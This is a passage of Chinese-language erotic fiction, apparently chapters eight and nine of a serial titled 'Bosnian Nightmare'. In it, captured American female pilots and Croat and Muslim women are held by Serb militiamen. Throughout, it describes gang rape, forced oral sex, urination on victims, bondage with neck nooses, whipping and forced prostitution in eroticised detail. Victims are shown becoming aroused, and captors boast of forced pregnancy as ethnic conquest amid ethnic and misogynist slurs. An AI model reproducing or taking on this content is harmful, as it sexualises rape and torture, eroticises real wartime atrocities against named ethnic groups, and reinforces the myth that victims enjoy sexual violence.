  在旁边,阿坎还在粗暴地姦淫着芭芭拉。他将肉棒深深地戳进了芭芭拉的嘴里,然后再慢慢抽出来,再戳进去!他同时还用手里的鱼线拷打着年轻的女飞行员美丽的乳房,芭芭拉的两个娇小的乳头已经充血肿涨得有原来两倍大。

  阿坎看到将军将精液喷了薇尔科丽满脸时,他的动作逐渐慢了下来。当阿坎看到将军对着骄傲的女飞行员的脸撒尿时,他感到再也克制不住了。阿坎猛地将阴茎戳向芭芭拉喉咙深处,然后迅速抽出来。一股粘稠的精液立刻喷射在芭芭拉的脸上,糊满了她的嘴巴、鼻子和下巴,使芭芭拉几乎要窒息了。

  阿坎和将军从两个女飞行员身边走开,薇尔科丽和芭芭拉互相看着对方,看着对方糊满了被男人姦淫施暴的印记的脸,不知道还要遭到怎样的凌辱。

  “做得真漂亮,将军!真棒!你现在知道该如何让这些女人摆正自己的位置了。你不介意我让她们再做一个表演吧?”

  没等将军回答,阿坎就用英语命令薇尔科丽:“你是想去把你朋友的脸舔乾净,还是想让我再把你吊到天花板上,等着我的人来轮流干你?!”

  薇尔科丽只有服从,她转过脸来对着芭芭拉。薇尔科丽盯着芭芭拉糊满了阿坎的精液的脸,犹豫着,但乳头上传来的剧痛立刻打消了她的不情愿,薇尔科丽慢慢伸出舌头在芭芭拉脸上舔了起来,一点点地将那些粘稠的精液舔进了嘴里。

  芭芭拉一动不动地仍薇尔科丽在自己脸上舔着,她的眼睛始终盯着薇尔科丽的眼睛。薇尔科丽柔软的舌头舔在芭芭拉脸上,使她感到一种从来没有过的兴奋和刺激,即使是薇尔科丽脸上沾着的尿液的难闻气味也不能令芭芭拉的这种兴奋减弱。

  对薇尔科丽来说,这是一个无比痛苦的任务,尤其是她看到芭芭拉的脸上竟然还兴奋地泛着红光。这种厌恶甚至比吃进阿坎射在芭芭拉脸上的精液更令薇尔科丽痛苦。

  等薇尔科丽舔净了芭芭拉脸上的污秽,阿坎又想出了一个羞辱这个女人的主意。

  阿坎和将军将两个女飞行员以“69”式的姿势叠放在一起。薇尔科丽和芭芭拉的脸正对着对方的阴部,然后在两个女人的脖子上栓上了绳索,绳索的另一头紧紧地捆在了她俩被反绑在背后的双臂上。这样这两个女人的脸就被彻底贴在了对方的阴户上,没有活动的余地。

  薇尔科丽的脸被迫对着芭芭拉湿漉漉的阴部,那小肉穴里甚至还在往外滴着早些时候遭到轮姦时被射进的精液。芭芭拉同样面对薇尔科丽的秘穴。

  芭芭拉阴户里的那股难闻的气味令薇尔科丽感到恶心,但她知道自己不得不屈辱地清理乾净这里。忽然,薇尔科丽感到芭芭拉柔软温暖的舌头开始在自己的肉穴周围游动起来!她几乎不敢相信这事实:曾经和自己同在一架飞机上服役、同住一个房间的朋友竟变得如此堕落和不知羞耻!

  薇尔科丽狂乱地挣扎起来,她想大声喊叫,可脸被紧紧埋在芭芭拉的两腿之间,只能发出一些微弱而模糊的声音。薇尔科丽觉得自己又被强姦了,这一次是被芭芭拉强姦了!

  薇尔科丽在心里拼命呼喊着,用尽最后的力气在芭芭拉身下挣扎着,终于大声尖叫出来:“不!……别碰我!!”

  ===================================

  亚历山大正懒散地坐在旅馆的门外,磨着手里的小刀。当没有仗可打时,他总是觉得很无聊,总是一边喝着酒,一边磨着刀。他现在感到有些无聊和失意,就像他认识阿坎之前那样,但一旦开战情形就会不同了。

  虽然身材瘦弱一些,但亚历山大是阿坎手下最好的杀手之一,尤其是面对那些被捆绑起来的囚犯,他会像屠宰场中的屠夫对待牛羊一般割断他们的喉咙。亚历山大现在的身份是阿坎的保镖,尽管阿坎很少在公开场合露面。

  阿坎命令手下将薇尔科丽和芭芭拉分别关押起来,给了她们两天的时间休养一下,以便两个刚遭到了残酷拷打和轮姦的女飞行员的身体能复原。现在阿坎打算让薇尔科丽和芭芭拉像这里其他那些克族和穆族的女人一样,开始她们的‘工作’了,让她们看看其他俘虏的示範。

  亚历山大负责来‘指导’这两个女人,他想让人给芭芭拉送去一些薄薄的、已经有些发霉的切片面包做为早餐,然后开始上午的工作。他自己则亲自押着薇尔科丽去军人的营区。

  薇尔科丽没有被捆绑,被亚历山大带到了军营的二楼,那里已经有一个年纪比她稍微大些的女人等着了。

  这个身材瘦小的女人看起来个头和体重只有薇尔科丽的一半,一头棕色的头髮,穿着一身破旧的兰色套装,样子很憔悴。薇尔科丽比她好不了多少,一头金髮凌乱地披散着,穿着一件短小的T恤和一条破烂的男人的裤子,和那女人一样光着脚。

  薇尔科丽注意到那女人的腹部明显地隆起,和她瘦弱的身体很不相配。一想到可能会怀上那些强姦犯的孩子,薇尔科丽就感到浑身发冷,一种巨大的恐惧紧紧地抓住了她的心,她知道自己被击落前可没吃什幺避孕药。

  亚历山大带着两个女人来到二楼的厕所前,打开了门。立刻有一股恶臭散发出来,大量的粪便和呕吐物甚至已经溢出便池,充满了厕所里的整个地面。

  亚历山大对两个女人指了指厕所墙角的一堆破布和铁桶,然后自己搬了一把椅子坐在厕所门外。他左手拿着一瓶酒,右手的手腕上挂着那刚刚磨得十分锋利的小刀,瞪着两个女俘虏。

  不用说薇尔科丽也知道自己的工作是什幺,看到厕所里肮脏污秽的环境,她感到无比震惊和忿怒。另一个女人则没有犹豫就拿起破布和铁桶,平静地清理起来。薇尔科丽也只好难过地拿起破布,跪在沾满粪便的肮脏地板上清理起来。

  亚历山大监视着两个女人,那克族的母狗律师和这个自大的美国婊子珔璩貗扫着厕所。他衷心地拥护阿坎的政策:对这个骄傲自大的克族母狗律师来说,她只配来打扫塞族的厕所。这些女人自以为接受了现代教育,就可以对塞族人指手画脚,正是这个女律师将亚历山大送进了监狱。但亚历山大认为这母狗律师已经得到了教训,她现在几乎是这里最模範的婊子了!

  当亚历山大想起自己如何教训了那母狗,就不禁笑了起来。他们教会了她打扫厕所和等着男人来操她,并使她怀上了孩子。他将很高兴地看到这个美国婊子也变成这样,也让她怀上塞族的孩子。

  薇尔科丽跪在沾满了粪便和呕吐物的地板上,学着另一个女人的动作打扫着这里,那恶心的污秽和刺鼻的恶臭使她几乎要昏倒。被俘、接着被轮姦和拷打,这些已经彻底摧毁了薇尔科丽的骄傲和自尊。薇尔科丽现在已经不敢相信自己是一个女飞行员,她觉得自己现在不过是一个可怜又可耻的女人,就是那种自己原来最看不起的那种女人!

  薇尔科丽开始憎恨自己现在的样子,她流着眼泪默默地用手清理着肮脏的地板,忽然一阵微弱的耳语传来。

  “美国人?”

  薇尔科丽一阵惊恐,她感到十分害怕,甚至不敢回答。

  又一阵低低的耳语传来:“你是阿坎抓住的……女飞行员?”

  薇尔科丽尽量镇静下来,小心地侧过脸,看到那个女人正冲着她微笑。她轻轻地点点头,害怕引起那警卫的注意。

  “你看起来被他们吓坏了。他们仇恨我们,他们会想办法毁了你的!”

  “该死!”薇尔科丽小声地咒骂着。“我怎幺才能阻止他们呢?他们已经强姦了我!”

  “他们强姦了这里所有的女人!他们仇恨所有人,尤其是女人;因为她们比他们更聪明、更富有、更出色,这伤害了他们的虚荣心。但是,你不能和他们对抗,至少不能公开反抗他们。你必须照他们的要求做,把你自己的想法收起来,在他们的拳头和阴茎下苟且度日。这样你才能活下来,否则你会发疯的。”

  薇尔科丽听了这个女人的话,不知道该如何回答。她想告诉这个女人:当那些混蛋强姦她时,她是多幺地愤怒,感到多幺孤立无助。她想告诉她:她多幺希望能回击那些混蛋,狠狠地将自己受到的屈辱和痛苦还给他们。

  薇尔科丽甚至想大笑,她觉得那个女人一定是疯了。他们剥光了她的衣服,残酷无情地凌辱她,她怎幺还能隐藏自己的想法?

  正当薇尔科丽想告诉那女人,她的想法是愚蠢的时候,警卫打断了她们。亚历山大大声喊着,命令她们继续工作。他走到两个女人面前站着,以便看到她们的情况,确保她们不会愚弄自己。

  两个女人只好继续这屈辱的劳动,用她们的手一点点清理乾净厕所里散发着恶臭的地板。

  当亚历山大看到薇尔科丽和那女律师已经清理乾净了厕所,他将两个女人推到洗面池前。亚历山大命令两个女人跪在自己面前,他解开裤子掏出了自己的肉棒。亚历山大右手上还挂着那小刀,左手握着自己的阴茎,将这已经涨大起来的家伙伸到了薇尔科丽嘴边,示意女飞行员用嘴来为自己服务。

  薇尔科丽十分勉强地张开嘴,将那肉棒吞进嘴里,一股难闻的气味冲进薇尔科丽的鼻子里,她强压着恶心的感觉,用柔软的舌头顺着那肉棒下侧一点点吮吸起来。

  骄傲的女飞行员被迫用嘴来为这个猥琐的家伙服务,当薇尔科丽低下头,费力地含着那粗大的肉棒吮吸时发出一种难堪的‘啾啾’声,她能感到自己的口水在顺着嘴角流出来,这种羞辱令她感到绝望。

  亚历山大在美丽的女飞行员嘴里没有坚持多久,他用手揪着薇尔科丽凌乱的金髮,把她的头紧紧压在自己大腿根,随即一股浓稠的精液喷射进她的嘴里。薇尔科丽感到自己嘴里立刻被那腥热的液体灌满了,她没有选择,只好将这些东西吞咽下去。

  亚历山大满足地抽出他的阴茎,对着嘴角还沾着精液和口水的薇尔科丽,开始尿了起来!

  黄浊臊臭的尿液猛烈地淋在薇尔科丽的脸上,使她感到一阵阵灼痛,这种彻底的羞辱几乎使她昏倒了。

  亚历山大不停地用尿液轮流尿在两个女人的头髮上和脸上,他看着两个狼狈不堪的女人全身上下都被尿水淋湿了,跪在自己面前,不禁笑了起来。

  

  波黑噩梦(八)

  当薇尔科丽正在军人厕所里忙碌时,芭芭拉也没有閑着。阿坎已经将芭芭拉的名字列入了为他的军人“服务”的女人中间,这意味着芭芭拉在中午之前至少要为六个军人“服务”。

  那些轮到今天休息的军人上午都来到这里,按照顺序进入大厅挑选他们的女人。他们有三十分钟的时间,而挑选是十分简单的:每个房间的门口都挂着那房间里的女人的名字,如果房门是打开的,就表示这个女人可供“使用”;如果门是关着的,则表明这个女人正在被别的军人“使用”着。

  大多数女人在房间里是没有被捆绑的,但对于这个美国女飞行员显然要特别对待,芭芭拉被亚历山大结结实实地绑在床上。

  芭芭拉全身赤裸着,双臂被反绑在背后,从手腕到肘部被绳索捆得死死的,被十分难受地压在身体下面。一道绳索像绞索一样栓在芭芭拉的脖子上,将她的头固定在床头。芭芭拉两条修长匀称的腿被强行分开,像一个大写的“M”的形状似的,被捆在膝盖和脚踝上的绳索拉向身体两侧,绳子被拉紧栓在床头,使芭芭拉的膝盖几乎碰到了她丰满的乳房。

  年轻的女飞行员被毫无反抗能力地捆在床上,正对着房门,任何一个推门进来的人都能立刻看到她被残忍地分开捆绑的双腿之间、那迷人的阴户和上下两个肉穴。芭芭拉面对着房门,惊慌而绝望地轻轻颤抖着,使她胸前两个丰满漂亮的乳房显得更加醒目,尤其是那两个因受虐而格外涨大的乳头。她的眼泪不停地流下来,顺着脸流到了被野蛮地捆着拉起来的大腿上。

  从上午九点开始,芭芭拉的房间里就一直没有空閑过,甚至已经开始有军人在她的房间外排起了队,那些等在门外的家伙有时甚至敲打着房门,催促着里面的同伴加快动作,或者乾脆打开房门,为里面正骑在芭芭拉身上奋力姦淫这个女飞行员的同伴鼓掌加油。

  每一个进来的家伙都几乎以同样的速度脱下裤子,然后残忍地骑在芭芭拉身上开始他们野蛮的强姦,一些家伙甚至还同时大力地揉搓着她丰满而富有弹性的胸膛,使劲捏着那两个已经红肿起来的乳头。

  芭芭拉试图闭上眼睛,去想想其他的东西,比如薇尔科丽。但压在她身上的男人发出的刺耳狂笑、喊叫和那种好像穿透了身体的疼痛使芭芭拉无法回避这种耻辱而绝望的事实。每当一个家伙用他肮髒的精液玷污了芭芭拉的身体,她才能觉得肉体上的痛苦略微减轻一点,但同时那种精神上的屈辱却越来越强烈。

  芭芭拉只能这幺一动不动地躺着,忍受着残忍的轮姦。在那些家伙满足地喘着粗气时微弱地呻吟着,当他们从自己身上爬起来时默默地流着眼泪。她已经记不得被多少个家伙姦污了,只觉得现在好像全身都浸透了汗水和精液,连身下的床单都已经湿透了。但门外的军人还在不断地走进来。

  ===================================

  亚历山大将那个女人送走,而留下薇尔科丽一个人清理乾净被自己撒尿时又弄髒的厕所。等薇尔科丽干完了,他把她推到了墙角,命令她面对着墙站着。

  亚历山大扒光了薇尔科丽身上已经被小便浇湿了的衣服,然后将她双手扭到背后,开始用一种新的花样来捆绑她。他将薇尔科丽的手腕用绳子紧紧地捆在一起,然后将她的双臂使劲向上推,几乎与她的双肩在同一高度,此时再将绳子的另一头在薇尔科丽的脖子上绕了两圈后收紧,打了个节。

  亚历山大捆绑完,开始欣赏起自己的杰作:身材健壮的女飞行员赤身裸体地站在肮髒的厕所里,双臂被绑在背后,还要拼命地向后举起,这样才不至于使脖子上的绳索勒得自己喘不上气来,薇尔科丽已经彻底失去了哪怕一点点的反抗能力。

  一边淫笑着,亚历山大一边在薇尔科丽丰满结实的裸体上乱摸起来。薇尔科丽痛苦地向上抬着被反绑在背后的双臂,身体在亚历山大放肆的抚摸下不住地发抖,她知道自己又难逃被这个家伙强姦的命运了。

  但薇尔科丽这次猜错了,亚历山大没有强暴她,而是将这个赤裸着身体、脖子和被反绑在背后的双臂用绳索连在一起的女飞行员带到了楼下。他打开了一个房间的门,将薇尔科丽推了进去。

  房间里一个女人正躺在床上,她的双手盖住了她的脸,似乎很害怕的样子。薇尔科丽吃惊地看到这个女人是赤裸的!她成熟丰满的身体上,一些醒目地淤伤出现在她硕大的胸脯和细嫩的大腿上!

  听见房门被打开,那女人慢慢地拿开了挡住自己的脸的双手,冷漠地看着走进来的亚历山大和他押着的女俘虏。薇尔科丽看到了一个有着明显的斯拉夫人特征的面孔:她充满了麻木空虚表情的脸上,嘴唇稍厚而充满性感,颧骨突出,一头黑髮散乱着,显得充满了性的诱惑。

  亚历山大一边使劲踢着床,一边用斯拉夫语喊叫着。

  那女人用一种冷漠的眼神看着亚历山大,慢慢将自己的双腿大大地张开,将她的阴部完全暴露出来。她的阴毛很浓密,说明她是一个克族妇女,而不是一个穆斯林。她的阴户因为过度的性交已经变成了一种黑褐色,小穴周围和阴毛上沾满遭到姦淫留下的污秽。

  薇尔科丽似乎意识到了什幺,看着那女人被糟蹋得一片狼籍的下身,她觉得十分恶心和难受。

  亚历山大对着薇尔科丽笑着,指着那女人的下身用蹩脚的英语对她说:“去工作!”

  薇尔科丽慢慢地爬上床,跪在那女人两腿之间。当她迟疑着低下头,将脸靠近那女人的大腿根时,捆在脖子上的绳索忽然收紧,使她差点喘不上气来。薇尔科丽赶紧挣扎着抬高被绑在背后的双手,让脖子上的绞索放鬆一些。

  现在薇尔科丽已经几乎趴在了那女人的大腿根上,她能清晰地看见和闻到那女人遭到无数次姦污后肮髒污秽的下身在发出一种难闻的气味。一想起自己将要用嘴和舌头来舔净这女人的下体,薇尔科丽就感到一阵恶心和晕眩。

  正当薇尔科丽犹豫时,亚历山大忽然在她身后猛推她高高抬起的双臂,一下将她的脸紧紧地推到了那女人阴毛浓密的阴部,大声叫骂着。亚历山大用手抓着薇尔科丽的头髮,将她的脸紧紧贴在女人糊满了黏乎乎的精液的阴部,使劲地来回蹭着。

  看到薇尔科丽不停挣扎着发出阵阵悲啼,亚历山大送开了手,薇尔科丽赶紧开始用嘴和舌头清理那女人的下身。亚历山大一只手抓着女飞行员被反绑在背后的双臂,操纵着她的动作;另一只手顺着薇尔科丽丰满肉感的大屁股摸下来,摸到了她在无数次鸡姦后已经略微鬆弛的屁眼,然后将一只手指插了进去!

  薇尔科丽感到一阵疼痛,立刻轻轻呻吟起来。但她发现只要自己舌头的动作稍微慢一点,亚历山大插进她屁眼里的手指就开始使劲地抠弄起来,于是她赶紧更加卖力地在那女人下身舔了起来。

  慢慢地,薇尔科丽感到自己一直这幺高高举着的手臂逐渐酸麻起来,她开始坚持不住了,双臂逐渐顺着背后滑下来,脖子上的绳索立刻收紧,使她开始感到窒息。当亚历山大发现薇尔科丽的脸已经完全埋在了那女人的两腿之间,嘴里发出沉重的喘息,赤裸的身体开始不住颤抖时,他赶紧推高薇尔科丽的手臂,让这个女飞行员至少能喘上气来。

  同时,亚历山大将手指在薇尔科丽的屁眼里插得更深,更加用力地来回抽动着,在这个女飞行员趴在被她的口水弄得湿淋淋的另一个女人的阴部吮吸、舔着的同时,用手指再她背后姦淫玩弄着她。

  薇尔科丽现在已经彻底绝望和认命了,肛门里的一阵阵的疼痛和酸涨使她感到很不舒服,她一边在品尝着另一个女人沾满精液和阴道分泌物的下体,另一边却被别人玩弄姦淫着肛门,这种羞辱和痛苦几乎使薇尔科丽崩溃了。

  ===================================

  在另外一个房间里,芭芭拉刚刚遭到了第十个家伙的姦淫。芭芭拉现在感觉自己的阴道和子宫里已经灌满了那些强姦犯的精液,那些粘稠的液体正从她逐渐鬆弛地张开着的肉穴里不停地流淌出来。

  新进来的家伙开始将注意力放在了这个年轻女人的嘴上,他毫不怜悯地骑在了芭芭拉被凌虐得已经肿胀起来的胸膛上,用手揪着女飞行员的头髮,开始在她的嘴里姦淫起来。

  芭芭拉现在已经被蹂躏得不成样子:她丰满赤裸的肉体上沾满了汗水--即有她自己的,也包括那些骑在她身上姦污她的男人的;她身下的小穴鬆弛地打开着,里面缓缓流淌出各种液体的混合物;大片大片的精液糊满了芭芭拉的大腿、小腹、胸脯和脸上,甚至还弄得她的黑髮都湿漉漉的;她娇嫩的胸部已经变得红肿起来,两个细小的乳头也被拉长肿胀起来;她的眼睛茫然地睁着,头被拉扯着来回运动着,一根粗大的肉棒不停地在她的小嘴里抽插着,直戳进喉咙里。

  ===================================

  那塞族警卫的手指还在薇尔科丽的屁眼里放肆地抠弄、转动着,薇尔科丽则趴在床上那女人浓密的阴毛间,被迫仔细地将那女人被弄得肮髒不堪的下身舔乾净。薇尔科丽试图尽量屏住呼吸,因为那女人下体那种混合了精液和各种分泌物的气味实在令她恶心极了。

  忽然,薇尔科丽感到那女人用双手抓住了自己的头髮,将自己的脸紧紧按在了她的肉穴上,不断扭动着她的屁股用她的肉穴在自己脸上蹭了起来!

  这个女人开始喜欢薇尔科丽的这种“服务”。自从她一年前被阿坎从她的村庄里抓到这里后,现在她第一次感到了一种没有痛苦的性行为。这一年里,她一直被做为简单的洩慾工具对待,她已经逐渐习惯了被男人强姦和虐待,但现在她感到自己似乎可以享受一下舒适的东西了。

  她抓着薇尔科丽的头髮,将她按在自己两腿之间,同时用双腿紧紧夹住了薇尔科丽的头。薇尔科丽的鼻子抵在了这个女人的肉芽上,嘴也正对着她开始变得热乎乎的小肉穴。

  薇尔科丽已经明白了这个女人的意思,她只得用舌头在那女人的肉穴里不停吮吸起来。薇尔科丽逐渐感到自己呼吸困难,她不得不加快了吮吸的频率。薇尔科丽开始有点害怕,如果她不能尽快使这个女人达到高潮,就会被她小穴里源源流出的淫水憋死。她甚至担心那女人会在高潮时失禁。

  薇尔科丽被迫一边将女人不停流淌到自己嘴里的大量的淫水吞咽下去,一边用力地吮吸着她的小穴,终于将这个悲惨的女人送上了高潮。

  看到薇尔科丽已经出色地完成了她的“工作”,亚历山大将女飞行员从这个房间里带了出来,带进了另一个房间。

  这个房间里的女人显然刚刚遭到了姦淫,因为那个军人还站在房间里提着他的裤子。

  和刚才那个女人不同,这个女人的双手被牢牢地捆在肮髒狭窄的床上,因为她是一个刚刚被俘获一周的新俘虏。

  这个女人很年轻,大约二十岁左右。她有一头黑色的短髮,赤裸着的身体很苗条、但显得发育很好。这个姑娘使薇尔科丽想起了她的同伴芭芭拉。

  那个姑娘大腿和双臂苍白的肌肤上,布满了一块块青紫的淤伤。她的阴部有明显经过修理的痕迹,说明了她是一个穆族女子。

  薇尔科丽还没有任何思想准备,就被亚历山大猛地推倒在那姑娘的下身上,同时大声对她喊叫着。

  薇尔科丽感到无比地忿怒和屈辱,但她只能听亚历山大的命令。她开始将脸埋在那姑娘的两腿之间,用舌头在她被轮姦得红肿起来的阴唇和嫩穴周围舔了起来。不像刚才那女人,这个穆族姑娘在薇尔科丽用嘴和舌头清理她的阴户时毫无反应,甚至身体动都没动一下,这使薇尔科丽感到更加羞耻,因为她觉得自己现在就像一个强姦犯一样。

  等薇尔科丽完成了这里的工作,亚历山大就将她押到另一个房间,继续去为下一个被俘虏的娼妓清理她那肮髒污秽的下体。就这样,薇尔科丽整个上午在不停地舔着那些被俘虏的妇女黏乎乎、散发着异味的阴部中度过,她觉得自己几乎要被这种羞辱和忿怒给弄疯了。

  亚历山大一直在这个女飞行员的身后,抓着她被反绑在背后、高高抬起的双臂,像拿着一根棍子一样抓着薇尔科丽的手腕,野蛮地推搡着她,逼迫她按照自己的意愿在那些军中妓女的两腿之间舔着。他喜欢听见薇尔科丽在舔乾净那些可怜的女人的阴户时,发出的那种令女飞行员丢脸的、湿答答的“啾啾”声。

  最后,亚历山大将已经几乎精疲力尽的女飞行员带进了最里面的一个房间。薇尔科丽一进去就看见了阿坎--这个在她眼里是这个世界上最凶残、邪恶的家伙!薇尔科丽立刻感到了恐惧,她甚至没来得及看一眼房间床上那个被像一只待解剖的青蛙一样捆绑着的女人,就几乎是本能地低下了头。

  当阿坎揪着床上那女人湿漉漉、凌乱不堪的头髮,将她的脸抬起来时,薇尔科丽才发现,这个满脸几乎沾满了黏乎乎的精液的女人就是她的同伴芭芭拉!

  薇尔科丽几乎被芭芭拉现在的样子惊呆了,尤其是她几乎被绳索捆绑着拉到了头顶上的双腿。芭芭拉结实匀称的双腿上伤痕累累,大腿根几乎被大片的精液完全糊满了。她那迷人的小穴已经被插得红肿鬆弛起来,变成了一个不停流淌出精液的合不拢的小洞。芭芭拉赤裸的乳房上也布满了牙咬和大力揉搓后的伤痕,浑身都沾满了强姦者留下的印记。

  薇尔科丽已经被惊吓得说不出话来,她从来没见过这样肮髒、悲惨的女人。在她现在看来,显然遭受了非人摧残轮姦的芭芭拉的样子,甚至还不如那些最低贱、最淫蕩的妓女!

  芭芭拉此时也睁大了眼睛看着站在对面的薇尔科丽,被薇尔科丽看见自己现在这副丑态,她觉得十分羞耻。

  薇尔科丽看着芭芭拉,忽然意识到自己现在的样子也好不了多少。她同样赤裸着身体,浑身沾满了汗水和污秽,那些女人下身沾着的肮髒的精液也糊了自己满脸,而且自己身上还散发着一种尿液和汗水混合的恶臭。薇尔科丽一阵悲哀,她感到自己现在的样子也像一个廉价的娼妓!

  “她现在是一个真正的婊子了,不是吗?!”阿坎揪着芭芭拉的头髮,让薇尔科丽能更加看清她沾满了泪水和精液的脸。“让我的手下再多干她几次,她的肚子里就会怀上一个健康的塞族的后代了!”

  “你这个浑身恶臭的贱货!我会让你不停地去舔乾净那些为我的勇士服务的臭婊子!我当然也会让你直接去为我的勇士们服务,直到你也被操大了肚子!你觉得怎幺样?我伟大的美国海军的骚货?!”

  薇尔科丽没法回答,她一想起自己要用嘴和舌头清理那些悲惨的女人肮髒污秽的身体就觉得十分恶心,再想到可能会怀上这些残暴的强姦犯的孩子,她更感到无比的恐惧。她现在已经不知道该怎样才能阻止这个疯子残忍的虐待,她宁愿按照他的命令去舔乾净那些女人的下身,也不愿由于被轮姦而怀孕。

  薇尔科丽只能茫然地点着头,巨大的屈辱和无助使她感到脸上发烧。

  “好了,我的厕所里的娼妓!”阿坎指着被捆在床上的芭芭拉。“去弄乾净这个臭婊子!从她的脸开始,包括床上!”

  薇尔科丽跪在芭芭拉被左右分开捆着的双腿之间,慢慢俯下身体。她闭上眼睛开始用舌头在她的同事糊满了精液的脸上舔了起来,舔掉那厚厚的一层发出异味的黏液之后,薇尔科丽感到了芭芭拉温暖细腻的肌肤。

  薇尔科丽不停地在芭芭拉的脸上舔着,将那些黏乎乎的东西舔进嘴里再咽下去,那种恶心的味道几乎令她作呕。她一直闭着眼睛,没有看芭芭拉的表情,因为她觉得现在这种情景令双方都感到难堪。薇尔科丽想让自己忘记现在的处境,但冲进鼻子里的那种难闻的气味和不停的反胃,时刻提醒着女飞行员面对的巨大羞辱。

  当薇尔科丽的舌头踫到芭芭拉的嘴唇时,她忽然感到芭芭拉张开了嘴,用她柔软的舌头亲吻起自己来!薇尔科丽睁开眼睛,看到黑髮姑娘正微微地呻吟着,亲吻着自己,她感到十分惊讶和害羞。

  薇尔科丽现在几乎趴在了芭芭拉的身上,她的两个硕大的乳房沉重地坠在胸前,磨擦着芭芭拉胸前的两个丰满的肉团,两个女人汗津津、敏感的肉团互相磨擦着,使双方都觉得有一种奇怪的愉悦感。

  薇尔科丽舔乾净芭芭拉的脸,慢慢地弯腰开始舔起年轻的女飞行员胸前饱满漂亮的双乳来。芭芭拉漂亮的胸膛已经被蹂躏得不成样子,一些已经乾涸的精液糊在上面,乳头红肿着,细嫩的乳房上布满了伤痕。薇尔科丽温柔地舔着,慢慢地,她发现芭芭拉的乳头明显地在自己的舔弄下硬了起来!

  在经过了几个小时噩梦般的轮姦后,芭芭拉现在开始逐渐放鬆下来。薇尔科丽的舌头在她身体上移动着,使年轻的女飞行员感到自己控制不住地颤抖起来,一种异样的感觉在升起,她尽量地抬起上身,将自己的双乳尽量地送进薇尔科丽的嘴里。

  阿坎从亚历山大手里接过一瓶酒喝着,看着高傲的女飞行员跪在她的同事身前,将她同事身上糊满的黏乎乎的精液舔乾净。赤身裸体的薇尔科丽跪在床上,被反绑的双臂在背后高高抬起,硕大的乳房在她的胸前摇晃着,而宽大肥厚的屁股也在阿坎面前不停地摇摆着。

  阿坎开始意识到,自己现在又充满了对这个美国女人的慾望。

  

  波黑噩梦(九)

  阿坎让亚历山大帮忙,将捆着芭芭拉的那张床抬到了房间中央。接着他命令薇尔科丽转了个身,脸贴在芭芭拉的两腿之间,双腿跪在芭芭拉的头两侧,这样女飞行员丰满的大屁股就正好靠在床的边缘。阿坎走到薇尔科丽的背后,解开裤子掏出了早就已经怒挺起来的大肉棒。

  当薇尔科丽正埋头于芭芭拉的两腿之间,用嘴吸吮着那些白色的糟粕时,阿坎已经用手扒开了女飞行员两个肥厚的肉丘,对準了她屁股后面的小肉洞,丝毫没有遇到抵抗就顺利地将自己的大肉棒插了进去。阿坎还记得,当初在那谷仓里第一次插这个女飞行员的屁眼时还十分地费力,而现在薇尔科丽温暖紧密的肉洞已经十分适应他的插入了。

  阿坎用一只手抓住薇尔科丽被捆在一起的双手,推着她使她的头紧紧贴在芭芭拉的下身上,另一只手伸到女飞行员的身前,握住了一个肥大的乳房使劲地揉了起来。他用拇指和食指捏着薇尔科丽的乳头,不停搓着,直到这小东西变成了一个肿胀的小肉球。同时阿坎的腰部用力,使劲地在女飞行员的屁股里快速戳插起来。

  薇尔科丽正趴在芭芭拉的大腿根,嘴唇刚要踫到她同事把被精液灌满饱和了的肉穴时,阿坎插进她屁眼里的大家伙重重地戳插起来,将薇尔科丽一下插得脸紧贴在了芭芭拉湿腻腻的阴户上。

  阿坎能清楚地感受到这个女人的痛苦,薇尔科丽的身体在抽搐,她臀部的肌肉猛地收缩起来,使她肛门里的肉壁更加紧密地包住了他的肉棒。

  在阿坎身下,薇尔科丽正困难地趴在芭芭拉的下身上,用她的嘴和舌头收集着那些黏乎乎的糟粕,而芭芭拉则似乎开始兴奋起来,身体不停地轻轻发抖。来自乳头上的疼痛和屁股后面那猛烈的抽插,时刻提醒着薇尔科丽此刻可耻又可悲的命运。

  随着阿坎逐渐加大了抽插的力量,薇尔科丽已经开始忍受不住地挣扎悲啼起来。她的脸被紧紧地贴在了芭芭拉的阴部,连嘌吸都有些困难。薇尔科丽几乎是机械地将舌头伸进了芭芭拉湿热的肉穴里,舔吃着里面那些又腥又稠的液体。她现在更多的注意力放在了屁股的肉洞里不断如潮水一样涌来的、火辣辣的涨痛感上。薇尔科丽现在感到自己耻辱极了,一边要舔吃掉敌人的精液,同时还要忍受着敌人对自己屁眼的残酷姦淫。

  芭芭拉此刻由于薇尔科丽的舌头不断地吮吸、舔弄着敏感的部位,开始在床上呻吟蠕动起来。芭芭拉躺在湿漉漉、黏乎乎的床单上,开始不停扭动着她的屁股,不时向上提起臀部,用自己的小穴追寻着薇尔科丽的舌头。芭芭拉用自己的阴部不停磨擦着薇尔科丽的脸,试图用薇尔科丽的舌头来使自己获得满足。

  在芭芭拉脸的上方,阿坎粗大的肉棒正撑开薇尔科丽的屁眼,在她雪白丰满的大屁股中抽插着。阿坎使劲按着薇尔科丽宽大的臀部,使她的阴部几乎踫到了芭芭拉的脸。芭芭拉睁开眼睛,稍微抬起头,用她的舌头在薇尔科丽敏感的阴蒂周围轻轻吮吸起来。

  薇尔科丽开始感到惊慌,她同时发现她的同伴的肉穴和周围的部位明显充血肿胀起来,她听见芭芭拉在用一种迷乱的声音呻吟着。

  “哦……薇尔科丽、再用力些……求求你!……”

  芭芭拉感到自己已经失去了理智,更加用力地用自己火热的小穴磨擦着薇尔科丽的脸,疯狂地渴望着她将舌头伸进去吮吸自己。芭芭拉试图用双腿夹住薇尔科丽的头,使她的嘴更贴近自己的小穴,但捆绑着她的双腿的绳索制止了她。芭芭拉祇能被动地等待着薇尔科丽将她缓慢、而痛苦地送上了尖叫悲鸣的高潮。

  “啊!……快、别停!!薇尔科丽、薇尔科丽……啊、不要……哦、哦……啊!!!!”

  在芭芭拉的头顶,阿坎正用力地在薇尔科丽已经边热、完全张开的肉洞里用力地抽插着。他现在感到非常快乐,他感到自己已经彻底使这个高傲的女飞行员沦落成了一个可以任意姦淫的娼妓!

  阿坎看到他的保镖亚历山大正站在墙角,他命令亚历山大拿起皮带,在他强姦薇尔科丽的同时,用力地抽打这个美国母狗!

  亚历山大立刻拿起宽宽的皮带,狠狠地朝着女飞行员赤裸着的光滑平坦的后背抽了下去!薇尔科丽感到皮带重重地抽在自己的后背上,随着一声沉闷的鞭打声,一阵火辣辣的疼痛传来,她立刻失声尖叫起来。

  阿坎看着亚历山大野蛮残酷地鞭打着被俘的女人,越发用力地抽插起来,嘴里还不停地叫着。

  “夹紧你下贱的屁股!尝到鞭子的滋味了吧?!快去咬你面前这小婊子,咬她的贱穴!你这娼妓!!”

